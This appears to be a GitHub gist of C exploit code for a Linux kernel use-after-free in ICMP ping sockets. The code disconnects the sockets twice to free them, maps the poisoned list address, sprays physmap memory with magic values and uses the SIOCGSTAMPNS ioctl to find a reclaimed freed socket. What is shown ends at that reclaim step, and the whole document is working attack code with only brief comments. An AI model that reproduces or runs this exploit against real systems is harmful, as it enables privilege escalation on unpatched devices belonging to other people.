Skip to content

Instantly share code, notes, and snippets.

@f0rm2l1n
Created July 30, 2020 06:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save f0rm2l1n/31ab1d42e0e18f94a5ce928816a5f65c to your computer and use it in GitHub Desktop.
Save f0rm2l1n/31ab1d42e0e18f94a5ce928816a5f65c to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>
#define PAGE_SIZE (0x1000)
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4)
#define LIST_POSIION (0x200200)
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1))
#define MAX_VULTRIG_SOCKS_COUNT (4000)
#define MAX_PHYSMAP_SIZE (128 * 1024 * 1024) // 128 MB, cannot be too bigger...
// 128*6 in total, we only assigned with 1GB
#define MAX_PHYSMAP_SPRAY_PROCESS (6) // 6 times
#define MAGIC_VALUE (0x4B5F5F4B)
#define SIOCGSTAMPNS (0x8907)
#define NSEC_PER_SEC (1000000000)
int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
pid_t physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS];
int physmap_spray_pages_count;
void* payload = NULL;
int exp_sock = -1;
static inline void errhandler(char* s)
{
perror(s);
exit(EXIT_FAILURE);
}
void prepare(void)
{
printf("[+] Start prepare...\n");
/* maximize the fd limit to enable spraying */
struct rlimit rlim;
int ret;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) errhandler("[!] prepare().getrlimit-1");
rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) errhandler("[!] prepare().getrlimit-2");
printf("[~] Done prepare!\n");
}
void protection(void)
{
printf("[+] Start protection...\n");
int i;
void* protect = mmap(PROTECT_BASE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(protect == MAP_FAILED) errhandler("[!] protection().mmap");
for(i = 0; i < MAX_NULLMAP_SIZE / PAGE_SIZE; i++)
memset((char *)protect + PAGE_SIZE * i, 0x90, PAGE_SIZE);
if(mlock(PROTECT_BASE, MAX_NULLMAP_SIZE) == -1) errhandler("[!] protection().mlock");
printf("[~] Done protection!\n");
}
void spraying(void)
{
printf("[+] Start socket spraying...\n");
int i, ret;
struct sockaddr _sockaddr1 = { .sa_family = AF_INET };
struct sockaddr _sockaddr2 = { .sa_family = AF_UNSPEC };
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++)
{
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if(vultrig_socks[i] < 0) errhandler("[!] spraying().socket-create vultrig sockets");
ret = connect(vultrig_socks[i], &_sockaddr1, sizeof(_sockaddr1));
if(ret < 0) errhandler("[!] spraying().connect-hashing the socket");
}
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++)
{
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if(ret < 0) errhandler("[!] spraying().connect-free once");
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if(ret < 0) errhandler("[!] spraying().connect-free twice");
}
printf("[~] Done socket spraying!\n");
printf("[+] Start physmap spraying...\n");
memset(physmap_spray_pages, 0, sizeof(physmap_spray_pages));
memset(physmap_spray_children, 0, sizeof(physmap_spray_children));
physmap_spray_pages_count = 0;
for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++)
{
int j;
void* mapped;
void* mapped_page;
mapped = mmap(NULL, MAX_PHYSMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (mapped == MAP_FAILED) errhandler("[!] spraying().mmap");
for(j = 0; j < MAX_PHYSMAP_SIZE / PAGE_SIZE; j++)
{
memset((void *)((char *)mapped + PAGE_SIZE * j), 0x41, PAGE_SIZE);
mapped_page = (void *)((char *)mapped + PAGE_SIZE * j);
*(unsigned long *)((char *)mapped_page + 0x1D8) = MAGIC_VALUE + physmap_spray_pages_count;
physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
physmap_spray_pages_count++;
}
}
printf("[~] Done physmap spraying!\n");
}
void fetching(void)
{
printf("[+] Start fetching the UAF socket...\n");
struct timespec time;
uint64_t value;
void* page = NULL;
int j = 0;
int got = 0;
int index = MAX_VULTRIG_SOCKS_COUNT / 2;
do
{
exp_sock = vultrig_socks[index];
memset(&time, 0, sizeof(time));
ioctl(exp_sock, SIOCGSTAMPNS, &time);
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
for(j = 0; j < physmap_spray_pages_count; j++)
{
page = physmap_spray_pages[j];
if(value == *(unsigned long *)((char *)page + 0x1D8))
{
printf("[*] obtained magic:%p\n", value);
got = 1;
payload = page;
break;
}
}
index += 1;
}
while(!got && index < MAX_VULTRIG_SOCKS_COUNT);
if(got == 0) errhandler("[!] fetching() fail...");
printf("[~] Done fetching the UAF socket!\n");
}
int main(int argc, char* argv[])
{
prepare();
// We can do some preparation here, maximize the resources for example
protection();
// Then we should do `mmap` of the poision value to avoid early crash
spraying();
// We should create vulnerable sockets as well as spraying lots of ping sock objects here
fetching();
// Then we can do lots of mmap here, trying to fetch the target page
close(exp_sock);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment